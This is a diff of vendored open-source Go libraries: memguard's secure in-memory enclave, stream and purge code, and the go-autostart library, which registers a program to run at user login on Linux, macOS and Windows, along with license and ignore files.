// Destroy the Buffer object.
|
||||
b.Destroy()
|
||||
|
||||
// Return the newly created Enclave.
|
||||
return e, nil
|
||||
}
|
||||
|
||||
/*
|
||||
Open decrypts an Enclave and puts the contents into a Buffer object. The given Enclave is left untouched and may be reused.
|
||||
|
||||
The Buffer object should be destroyed after the contents are no longer needed.
|
||||
*/
|
||||
func Open(e *Enclave) (*Buffer, error) {
|
||||
// Allocate a secure Buffer to hold the decrypted data.
|
||||
b, err := NewBuffer(len(e.ciphertext) - Overhead)
|
||||
if err != nil {
|
||||
Panic("<memguard:core> ciphertext has invalid length") // ciphertext has invalid length
|
||||
}
|
||||
|
||||
// Grab a view of the key.
|
||||
k, err := getOrCreateKey().View()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Decrypt the enclave into the buffer we created.
|
||||
_, err = Decrypt(e.ciphertext, k.Data(), b.Data())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Destroy our copy of the key.
|
||||
k.Destroy()
|
||||
|
||||
// Return the contents of the Enclave inside a Buffer.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
/*
|
||||
EnclaveSize returns the number of bytes of plaintext data stored inside an Enclave.
|
||||
*/
|
||||
func EnclaveSize(e *Enclave) int {
|
||||
return len(e.ciphertext) - Overhead
|
||||
}
|
||||
|
|
@ -0,0 +1,87 @@
|
|||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/awnumar/memcall"
|
||||
)
|
||||
|
||||
/*
|
||||
Purge wipes all sensitive data and keys before reinitialising the session with a fresh encryption key and secure values. Subsequent library operations will use these fresh values and the old data is assumed to be practically unrecoverable.
|
||||
|
||||
The creation of new Enclave objects should wait for this function to return since subsequent Enclave objects will use the newly created key.
|
||||
|
||||
This function should be called before the program terminates, or else the provided Exit or Panic functions should be used to terminate.
|
||||
*/
|
||||
func Purge() {
|
||||
var opErr error
|
||||
|
||||
func() {
|
||||
// Halt the re-key cycle and prevent new enclaves or keys being created.
|
||||
keyMtx.Lock()
|
||||
defer keyMtx.Unlock()
|
||||
if !key.Destroyed() {
|
||||
key.Lock()
|
||||
defer key.Unlock()
|
||||
}
|
||||
|
||||
// Get a snapshot of existing Buffers.
|
||||
snapshot := buffers.flush()
|
||||
|
||||
// Destroy them, performing the usual sanity checks.
|
||||
for _, b := range snapshot {
|
||||
if err := b.destroy(); err != nil {
|
||||
if opErr == nil {
|
||||
opErr = err
|
||||
} else {
|
||||
opErr = fmt.Errorf("%s; %s", opErr.Error(), err.Error())
|
||||
}
|
||||
// buffer destroy failed; wipe instead
|
||||
b.Lock()
|
||||
defer b.Unlock()
|
||||
if !b.mutable {
|
||||
if err := memcall.Protect(b.inner, memcall.ReadWrite()); err != nil {
|
||||
// couldn't change it to mutable; we can't wipe it! (could this happen?)
|
||||
// not sure what we can do at this point, just warn and move on
|
||||
fmt.Fprintf(os.Stderr, "!WARNING: failed to wipe immutable data at address %p", &b.data)
|
||||
continue // wipe in subprocess?
|
||||
}
|
||||
}
|
||||
Wipe(b.data)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// If we encountered an error, panic.
|
||||
if opErr != nil {
|
||||
panic(opErr)
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Exit terminates the process with a specified exit code but securely wipes and cleans up sensitive data before doing so.
|
||||
*/
|
||||
func Exit(c int) {
|
||||
// Wipe the encryption key used to encrypt data inside Enclaves.
|
||||
getKey().Destroy()
|
||||
|
||||
// Get a snapshot of existing Buffers.
|
||||
snapshot := buffers.copy() // copy ensures the buffers stay in the list until they are destroyed.
|
||||
|
||||
// Destroy them, performing the usual sanity checks.
|
||||
for _, b := range snapshot {
|
||||
b.Destroy()
|
||||
}
|
||||
|
||||
// Exit with the specified exit code.
|
||||
os.Exit(c)
|
||||
}
|
||||
|
||||
/*
|
||||
Panic is identical to the builtin panic except it purges the session before calling panic.
|
||||
*/
|
||||
func Panic(v interface{}) {
|
||||
Purge() // creates a new key so it is safe to recover from this panic
|
||||
panic(v)
|
||||
}
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
package core
|
||||
|
||||
import (
|
||||
"github.com/awnumar/memcall"
|
||||
)
|
||||
|
||||
func init() {
|
||||
memcall.DisableCoreDumps()
|
||||
}
|
||||
|
|
@ -0,0 +1,90 @@
|
|||
/*
|
||||
Package memguard implements a secure software enclave for the storage of sensitive information in memory.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/awnumar/memguard"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// Safely terminate in case of an interrupt signal
|
||||
memguard.CatchInterrupt()
|
||||
|
||||
// Purge the session when we return
|
||||
defer memguard.Purge()
|
||||
|
||||
// Generate a key sealed inside an encrypted container
|
||||
key := memguard.NewEnclaveRandom(32)
|
||||
|
||||
// Passing the key off to another function
|
||||
key = invert(key)
|
||||
|
||||
// Decrypt the result returned from invert
|
||||
keyBuf, err := key.Open()
|
||||
if err != nil {
|
||||
fmt.Fprintln(os.Stderr, err)
|
||||
return
|
||||
}
|
||||
defer keyBuf.Destroy()
|
||||
|
||||
// Um output it
|
||||
fmt.Println(keyBuf.Bytes())
|
||||
}
|
||||
|
||||
func invert(key *memguard.Enclave) *memguard.Enclave {
|
||||
// Decrypt the key into a local copy
|
||||
b, err := key.Open()
|
||||
if err != nil {
|
||||
memguard.SafePanic(err)
|
||||
}
|
||||
defer b.Destroy() // Destroy the copy when we return
|
||||
|
||||
// Open returns the data in an immutable buffer, so make it mutable
|
||||
b.Melt()
|
||||
|
||||
// Set every element to its complement
|
||||
for i := range b.Bytes() {
|
||||
b.Bytes()[i] = ^b.Bytes()[i]
|
||||
}
|
||||
|
||||
// Return the new data in encrypted form
|
||||
return b.Seal() // <- sealing also destroys b
|
||||
}
|
||||
|
||||
There are two main container objects exposed in this API. Enclave objects encrypt data and store the ciphertext whereas LockedBuffers are more like guarded memory allocations. There is a limit on the maximum number of LockedBuffer objects that can exist at any one time, imposed by the system's mlock limits. There is no limit on Enclaves.
|
||||
|
||||
The general workflow is to store sensitive information in Enclaves when it is not immediately needed and decrypt it when and where it is. After use, the LockedBuffer should be destroyed.
|
||||
|
||||
If you need access to the data inside a LockedBuffer in a type not covered by any methods provided by this API, you can type-cast the allocation's memory to whatever type you want.
|
||||
|
||||
key := memguard.NewBuffer(32)
|
||||
keyArrayPtr := (*[32]byte)(unsafe.Pointer(&key.Bytes()[0])) // do not dereference
|
||||
|
||||
This is of course an unsafe operation and so care must be taken to ensure that the cast is valid and does not result in memory unsafety. Further examples of code and interesting use-cases can be found in the examples subpackage.
|
||||
|
||||
Several functions exist to make the mass purging of data very easy. It is recommended to make use of them when appropriate.
|
||||
|
||||
// Start an interrupt handler that will clean up memory before exiting
|
||||
memguard.CatchInterrupt()
|
||||
|
||||
// Purge the session when returning from the main function of your program
|
||||
defer memguard.Purge()
|
||||
|
||||
// Use the safe variants of exit functions provided in the stdlib
|
||||
memguard.SafeExit(1)
|
||||
memguard.SafePanic(err)
|
||||
|
||||
// Destroy LockedBuffers as soon as possible after using them
|
||||
b, err := enclave.Open()
|
||||
if err != nil {
|
||||
memguard.SafePanic(err)
|
||||
}
|
||||
defer b.Destroy()
|
||||
|
||||
Core dumps are disabled by default. If you absolutely require them, you can enable them by using unix.Setrlimit to set RLIMIT_CORE to an appropriate value.
|
||||
*/
|
||||
package memguard
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
package memguard
|
||||
|
||||
import (
|
||||
"github.com/awnumar/memguard/core"
|
||||
)
|
||||
|
||||
/*
|
||||
Enclave is a sealed and encrypted container for sensitive data.
|
||||
*/
|
||||
type Enclave struct {
|
||||
*core.Enclave
|
||||
}
|
||||
|
||||
/*
|
||||
NewEnclave seals up some data into an encrypted enclave object. The buffer is wiped after the data is copied. If the length of the buffer is zero, the function will return nil.
|
||||
|
||||
A LockedBuffer may alternatively be converted into an Enclave object using its Seal method. This will also have the effect of destroying the LockedBuffer.
|
||||
*/
|
||||
func NewEnclave(src []byte) *Enclave {
|
||||
e, err := core.NewEnclave(src)
|
||||
if err != nil {
|
||||
if err == core.ErrNullEnclave {
|
||||
return nil
|
||||
}
|
||||
core.Panic(err)
|
||||
}
|
||||
return &Enclave{e}
|
||||
}
|
||||
|
||||
/*
|
||||
NewEnclaveRandom generates and seals arbitrary amounts of cryptographically-secure random bytes into an encrypted enclave object. If size is not strictly positive the function will return nil.
|
||||
*/
|
||||
func NewEnclaveRandom(size int) *Enclave {
|
||||
// todo: stream data into enclave
|
||||
b := NewBufferRandom(size)
|
||||
return b.Seal()
|
||||
}
|
||||
|
||||
/*
|
||||
Open decrypts an Enclave object and places its contents into an immutable LockedBuffer. An error will be returned if decryption failed.
|
||||
*/
|
||||
func (e *Enclave) Open() (*LockedBuffer, error) {
|
||||
b, err := core.Open(e.Enclave)
|
||||
if err != nil {
|
||||
if err != core.ErrDecryptionFailed {
|
||||
core.Panic(err)
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
b.Freeze()
|
||||
return newBuffer(b), nil
|
||||
}
|
||||
|
||||
/*
|
||||
Size returns the number of bytes of data stored within an Enclave.
|
||||
*/
|
||||
func (e *Enclave) Size() int {
|
||||
return core.EnclaveSize(e.Enclave)
|
||||
}
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 68 100" enable-background="new 0 0 68 100" xml:space="preserve"><path d="M60.5,41.338V26.5C60.5,11.888,48.612,0,34,0S7.5,11.888,7.5,26.5v14.838L0,42v55l34,3l34-3V42L60.5,41.338z M15.5,40.633
|
||||
V26.5C15.5,16.299,23.799,8,34,8s18.5,8.299,18.5,18.5v14.133L34,39L15.5,40.633z"></path></svg>
|
||||
|
After Width: | Height: | Size: 548 B |
|
|
@ -0,0 +1,44 @@
|
|||
package memguard
|
||||
|
||||
import (
|
||||
"github.com/awnumar/memguard/core"
|
||||
)
|
||||
|
||||
/* Enhancement: check for low memory locking limit and print warning?*/
|
||||
|
||||
/*
|
||||
ScrambleBytes overwrites an arbitrary buffer with cryptographically-secure random bytes.
|
||||
*/
|
||||
func ScrambleBytes(buf []byte) {
|
||||
if err := core.Scramble(buf); err != nil {
|
||||
core.Panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
WipeBytes overwrites an arbitrary buffer with zeroes.
|
||||
*/
|
||||
func WipeBytes(buf []byte) {
|
||||
core.Wipe(buf)
|
||||
}
|
||||
|
||||
/*
|
||||
Purge resets the session key to a fresh value and destroys all existing LockedBuffers. Existing Enclave objects will no longer be decryptable.
|
||||
*/
|
||||
func Purge() {
|
||||
core.Purge()
|
||||
}
|
||||
|
||||
/*
|
||||
SafePanic wipes all it can before calling panic(v).
|
||||
*/
|
||||
func SafePanic(v interface{}) {
|
||||
core.Panic(v)
|
||||
}
|
||||
|
||||
/*
|
||||
SafeExit destroys everything sensitive before exiting with a specified status code.
|
||||
*/
|
||||
func SafeExit(c int) {
|
||||
core.Exit(c)
|
||||
}
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
package memguard
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/signal"
|
||||
"sync"
|
||||
|
||||
"github.com/awnumar/memguard/core"
|
||||
)
|
||||
|
||||
var (
|
||||
// Ensure we only start a single signal handling instance
|
||||
create sync.Once
|
||||
|
||||
// Channel for updating the signal handler
|
||||
sigfunc = make(chan func(os.Signal), 1)
|
||||
|
||||
// Channel that caught signals are sent to by the runtime
|
||||
listener = make(chan os.Signal, 4)
|
||||
)
|
||||
|
||||
/*
|
||||
CatchSignal assigns a given function to be run in the event of a signal being received by the process. If no signals are provided all signals will be caught.
|
||||
|
||||
1. Signal is caught by the process
|
||||
2. Interrupt handler is executed
|
||||
3. Secure session state is wiped
|
||||
4. Process terminates with exit code 1
|
||||
|
||||
This function can be called multiple times with the effect that only the last call will have any effect.
|
||||
*/
|
||||
func CatchSignal(f func(os.Signal), signals ...os.Signal) {
|
||||
create.Do(func() {
|
||||
// Start a goroutine to listen on the channels.
|
||||
go func() {
|
||||
var handler func(os.Signal)
|
||||
for {
|
||||
select {
|
||||
case signal := <-listener:
|
||||
handler(signal)
|
||||
core.Exit(1)
|
||||
case handler = <-sigfunc:
|
||||
}
|
||||
}
|
||||
}()
|
||||
})
|
||||
|
||||
// Update the handler function.
|
||||
sigfunc <- f
|
||||
|
||||
// Notify the channel if we receive a signal.
|
||||
signal.Reset()
|
||||
signal.Notify(listener, signals...)
|
||||
}
|
||||
|
||||
/*
|
||||
CatchInterrupt is a wrapper around CatchSignal that makes it easy to safely handle receiving interrupt signals. If an interrupt is received, the process will wipe sensitive data in memory before terminating.
|
||||
|
||||
A subsequent call to CatchSignal will override this call.
|
||||
*/
|
||||
func CatchInterrupt() {
|
||||
CatchSignal(func(_ os.Signal) {}, os.Interrupt)
|
||||
}
|
||||
|
|
@ -0,0 +1,155 @@
|
|||
package memguard
|
||||
|
||||
import (
|
||||
"container/list"
|
||||
"io"
|
||||
"os"
|
||||
"sync"
|
||||
|
||||
"github.com/awnumar/memguard/core"
|
||||
)
|
||||
|
||||
var (
|
||||
// StreamChunkSize is the maximum amount of data that is locked into memory at a time.
|
||||
// If you get error allocating memory, increase your system's mlock limits.
|
||||
// Use 'ulimit -l' to see mlock limit on unix systems.
|
||||
StreamChunkSize = c
|
||||
c = os.Getpagesize() * 4
|
||||
)
|
||||
|
||||
type queue struct {
|
||||
*list.List
|
||||
}
|
||||
|
||||
// add data to back of queue
|
||||
func (q *queue) join(e *Enclave) {
|
||||
q.PushBack(e)
|
||||
}
|
||||
|
||||
// add data to front of queue
|
||||
func (q *queue) push(e *Enclave) {
|
||||
q.PushFront(e)
|
||||
}
|
||||
|
||||
// pop data off front of queue
|
||||
// returns nil if queue is empty
|
||||
func (q *queue) pop() *Enclave {
|
||||
e := q.Front() // get element at front of queue
|
||||
if e == nil {
|
||||
return nil // no data
|
||||
}
|
||||
q.Remove(e) // success => remove value
|
||||
return e.Value.(*Enclave) // unwrap and return (potential panic)
|
||||
}
|
||||
|
||||
/*
|
||||
Stream is an in-memory encrypted container implementing the reader and writer interfaces.
|
||||
|
||||
It is most useful when you need to store lots of data in memory and are able to work on it in chunks.
|
||||
*/
|
||||
type Stream struct {
|
||||
sync.Mutex
|
||||
*queue
|
||||
}
|
||||
|
||||
// NewStream initialises a new empty Stream object.
|
||||
func NewStream() *Stream {
|
||||
return &Stream{queue: &queue{List: list.New()}}
|
||||
}
|
||||
|
||||
/*
|
||||
Write encrypts and writes some given data to a Stream object.
|
||||
|
||||
The data is broken down into chunks and added to the stream in order. The last thing to be written to the stream is the last thing that will be read back.
|
||||
*/
|
||||
func (s *Stream) Write(data []byte) (int, error) {
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
for i := 0; i < len(data); i += c {
|
||||
if i+c > len(data) {
|
||||
s.join(NewEnclave(data[len(data)-(len(data)%c):]))
|
||||
} else {
|
||||
s.join(NewEnclave(data[i : i+c]))
|
||||
}
|
||||
}
|
||||
return len(data), nil
|
||||
}
|
||||
|
||||
/*
|
||||
Read decrypts and places some data from a Stream object into a provided buffer.
|
||||
|
||||
If there is no data, the call will return an io.EOF error. If the caller provides a buffer
|
||||
that is too small to hold the next chunk of data, the remaining bytes are re-encrypted and
|
||||
added to the front of the queue to be returned in the next call.
|
||||
|
||||
To be performant, have
|
||||
*/
|
||||
func (s *Stream) Read(buf []byte) (int, error) {
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
// Grab the next chunk of data from the stream.
|
||||
b, err := s.next()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer b.Destroy()
|
||||
|
||||
// Copy the contents into the given buffer.
|
||||
core.Copy(buf, b.Bytes())
|
||||
|
||||
// Check if there is data left over.
|
||||
if len(buf) < b.Size() {
|
||||
// Re-encrypt it and push onto the front of the list.
|
||||
c := NewBuffer(b.Size() - len(buf))
|
||||
c.Copy(b.Bytes()[len(buf):])
|
||||
s.push(c.Seal())
|
||||
return len(buf), nil
|
||||
}
|
||||
|
||||
// Not enough data or perfect amount of data.
|
||||
// Either way we copied the entire buffer.
|
||||
return b.Size(), nil
|
||||
}
|
||||
|
||||
// Size returns the number of bytes of data currently stored within a Stream object.
|
||||
func (s *Stream) Size() int {
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
var n int
|
||||
for e := s.Front(); e != nil; e = e.Next() {
|
||||
n += e.Value.(*Enclave).Size()
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// Next grabs the next chunk of data from the Stream and returns it decrypted inside a LockedBuffer. Any error from the stream is forwarded.
|
||||
func (s *Stream) Next() (*LockedBuffer, error) {
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
return s.next()
|
||||
}
|
||||
|
||||
// does not acquire mutex lock
|
||||
func (s *Stream) next() (*LockedBuffer, error) {
|
||||
// Pop data from the front of the list.
|
||||
e := s.pop()
|
||||
if e == nil {
|
||||
return newNullBuffer(), io.EOF
|
||||
}
|
||||
|
||||
// Decrypt the data into a guarded allocation.
|
||||
b, err := e.Open()
|
||||
if err != nil {
|
||||
return newNullBuffer(), err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Flush reads all of the data from a Stream and returns it inside a LockedBuffer. If an error is encountered before all the data could be read, it is returned along with any data read up until that point.
|
||||
func (s *Stream) Flush() (*LockedBuffer, error) {
|
||||
return NewBufferFromEntireReader(s)
|
||||
}
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
# Compiled Object files, Static and Dynamic libs (Shared Objects)
|
||||
*.o
|
||||
*.a
|
||||
*.so
|
||||
|
||||
# Folders
|
||||
_obj
|
||||
_test
|
||||
|
||||
# Architecture specific extensions/prefixes
|
||||
*.[568vq]
|
||||
[568vq].out
|
||||
|
||||
*.cgo1.go
|
||||
*.cgo2.c
|
||||
_cgo_defun.c
|
||||
_cgo_gotypes.go
|
||||
_cgo_export.*
|
||||
|
||||
_testmain.go
|
||||
|
||||
*.exe
|
||||
*.test
|
||||
*.prof
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2016 ProtonMail
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
# go-autostart
|
||||
|
||||
[](https://godoc.org/github.com/emersion/go-autostart)
|
||||
|
||||
A Go library to run a command after login.
|
||||
|
||||
## Usage
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"github.com/emersion/go-autostart"
|
||||
)
|
||||
|
||||
func main() {
|
||||
app := &autostart.App{
|
||||
Name: "test",
|
||||
DisplayName: "Just a Test App",
|
||||
Exec: []string{"sh", "-c", "echo autostart >> ~/autostart.txt"},
|
||||
}
|
||||
|
||||
if app.IsEnabled() {
|
||||
log.Println("App is already enabled, removing it...")
|
||||
|
||||
if err := app.Disable(); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
} else {
|
||||
log.Println("Enabling app...")
|
||||
|
||||
if err := app.Enable(); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
log.Println("Done!")
|
||||
}
|
||||
```
|
||||
|
||||
## Behavior
|
||||
|
||||
* On Linux and BSD, it creates a `.desktop` file in `$XDG_CONFIG_HOME/autostart`
|
||||
(i.e. `$HOME/.config/autostart`). See http://askubuntu.com/questions/48321/how-do-i-start-applications-automatically-on-login
|
||||
* On macOS, it creates a `launchd` job. See http://blog.gordn.org/2015/03/implementing-run-on-login-for-your-node.html
|
||||
* On Windows, it creates a link to the program in `%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
package autostart
|
||||
|
||||
// An application that will be started when the user logs in.
|
||||
type App struct {
|
||||
// Unique identifier for the app.
|
||||
Name string
|
||||
// The command to execute, followed by its arguments.
|
||||
Exec []string
|
||||
// The app name.
|
||||
DisplayName string
|
||||
// The app icon.
|
||||
Icon string
|
||||
}
|
||||
|
|
@ -0,0 +1,68 @@
|
|||
package autostart
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"text/template"
|
||||
)
|
||||
|
||||
const jobTemplate = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>{{.Name}}</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
{{range .Exec -}}
|
||||
<string>{{.}}</string>
|
||||
{{end}}
|
||||
</array>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
<key>AbandonProcessGroup</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>`
|
||||
|
||||
var launchDir string
|
||||
|
||||
func init() {
|
||||
launchDir = filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
|
||||
}
|
||||
|
||||
func (a *App) path() string {
|
||||
return filepath.Join(launchDir, a.Name+".plist")
|
||||
}
|
||||
|
||||
// IsEnabled Check is app enabled startup.
|
||||
func (a *App) IsEnabled() bool {
|
||||
_, err := os.Stat(a.path())
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// Enable this app on startup.
|
||||
func (a *App) Enable() error {
|
||||
t := template.Must(template.New("job").Parse(jobTemplate))
|
||||
|
||||
if err := os.MkdirAll(launchDir, 0777); err != nil {
|
||||
return err
|
||||
}
|
||||
f, err := os.Create(a.path())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
if err := t.Execute(f, a); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Disable this app on startup.
|
||||
func (a *App) Disable() error {
|
||||
|
||||
return os.Remove(a.path())
|
||||
}
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
#include <windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <objbase.h>
|
||||
#include <shlobj.h>
|
||||
|
||||
uint64_t CreateShortcut(char *shortcutA, char *path, char *args) {
|
||||
IShellLink* pISL;
|
||||
IPersistFile* pIPF;
|
||||
HRESULT hr;
|
||||
|
||||
CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||
|
||||
// Shortcut filename: convert ANSI to unicode
|
||||
WORD shortcutW[MAX_PATH];
|
||||
int nChar = MultiByteToWideChar(CP_ACP, 0, shortcutA, -1, shortcutW, MAX_PATH);
|
||||
|
||||
hr = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (LPVOID*)&pISL);
|
||||
if (!SUCCEEDED(hr)) {
|
||||
return hr+0x01000000;
|
||||
}
|
||||
|
||||
// See https://msdn.microsoft.com/en-us/library/windows/desktop/bb774950(v=vs.85).aspx
|
||||
hr = pISL->lpVtbl->SetPath(pISL, path);
|
||||
if (!SUCCEEDED(hr)) {
|
||||
return hr+0x02000000;
|
||||
}
|
||||
|
||||
hr = pISL->lpVtbl->SetArguments(pISL, args);
|
||||
if (!SUCCEEDED(hr)) {
|
||||
return hr+0x03000000;
|
||||
}
|
||||
|
||||
// Save the shortcut
|
||||
hr = pISL->lpVtbl->QueryInterface(pISL, &IID_IPersistFile, (void**)&pIPF);
|
||||
if (!SUCCEEDED(hr)) {
|
||||
return hr+0x04000000;
|
||||
}
|
||||
|
||||
hr = pIPF->lpVtbl->Save(pIPF, shortcutW, FALSE);
|
||||
if (!SUCCEEDED(hr)) {
|
||||
return hr+0x05000000;
|
||||
}
|
||||
|
||||
pIPF->lpVtbl->Release(pIPF);
|
||||
pISL->lpVtbl->Release(pISL);
|
||||
|
||||
return 0x0;
|
||||
}
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
package autostart
|
||||
|
||||
// #cgo LDFLAGS: -lole32 -luuid
|
||||
/*
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <stdint.h>
|
||||
#include <windows.h>
|
||||
|
||||
uint64_t CreateShortcut(char *shortcutA, char *path, char *args);
|
||||
*/
|
||||
import "C"
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var startupDir string
|
||||
|
||||
func init() {
|
||||
startupDir = filepath.Join(os.Getenv("USERPROFILE"), "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
|
||||
}
|
||||
|
||||
func (a *App) path() string {
|
||||
return filepath.Join(startupDir, a.Name+".lnk")
|
||||
}
|
||||
|
||||
func (a *App) IsEnabled() bool {
|
||||
_, err := os.Stat(a.path())
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func (a *App) Enable() error {
|
||||
path := a.Exec[0]
|
||||
args := strings.Join(a.Exec[1:], " ")
|
||||
|
||||
if err := os.MkdirAll(startupDir, 0777); err != nil {
|
||||
return err
|
||||
}
|
||||
res := C.CreateShortcut(C.CString(a.path()), C.CString(path), C.CString(args))
|
||||
if res != 0 {
|
||||
return errors.New(fmt.Sprintf("autostart: cannot create shortcut '%s' error code: 0x%.8x", a.path(), res))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *App) Disable() error {
|
||||
return os.Remove(a.path())
|
||||
}
|
||||
|
|
@ -0,0 +1,69 @@
|
|||
// +build !windows,!darwin
|
||||
|
||||
package autostart
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"text/template"
|
||||
)
|
||||
|
||||
const desktopTemplate = `[Desktop Entry]
|
||||
Type=Application
|
||||
Name={{.DisplayName}}
|
||||
Exec={{.Exec}}
|
||||
{{- if .Icon}}
|
||||
Icon={{.Icon}}{{end}}
|
||||
X-GNOME-Autostart-enabled=true
|
||||
`
|
||||
|
||||
var autostartDir string
|
||||
|
||||
func init() {
|
||||
if os.Getenv("XDG_CONFIG_HOME") != "" {
|
||||
autostartDir = os.Getenv("XDG_CONFIG_HOME")
|
||||
} else {
|
||||
autostartDir = filepath.Join(os.Getenv("HOME"), ".config")
|
||||
}
|
||||
autostartDir = filepath.Join(autostartDir, "autostart")
|
||||
}
|
||||
|
||||
func (a *App) path() string {
|
||||
return filepath.Join(autostartDir, a.Name+".desktop")
|
||||
}
|
||||
|
||||
// Check if the app is enabled on startup.
|
||||
func (a *App) IsEnabled() bool {
|
||||
_, err := os.Stat(a.path())
|
||||
return err == nil
|
||||
}
|
||||
|
||||
type app struct {
|
||||
*App
|
||||
}
|
||||
|
||||
// Override App.Exec to return a string.
|
||||
func (a *app) Exec() string {
|
||||
return quote(a.App.Exec)
|
||||
}
|
||||
|
||||
// Enable this app on startup.
|
||||
func (a *App) Enable() error {
|
||||
t := template.Must(template.New("desktop").Parse(desktopTemplate))
|
||||
|
||||
if err := os.MkdirAll(autostartDir, 0777); err != nil {
|
||||
return err
|
||||
}
|
||||
f, err := os.Create(a.path())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
return t.Execute(f, &app{a})
|
||||
}
|
||||
|
||||
// Disable this app on startup.
|
||||
func (a *App) Disable() error {
|
||||
return os.Remove(a.path())
|
||||
}
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
// +build !darwin
|
||||
|
||||
package autostart
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func quote(args []string) string {
|
||||
for i, v := range args {
|
||||
args[i] = strconv.Quote(v)
|
||||
}
|
||||
|
||||
return strings.Join(args, " ")
|
||||
}
|
||||
|
|
@ -0,0 +1,291 @@
|
|||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package blake2b implements the BLAKE2b hash algorithm defined by RFC 7693
|
||||
// and the extendable output function (XOF) BLAKE2Xb.
|
||||
//
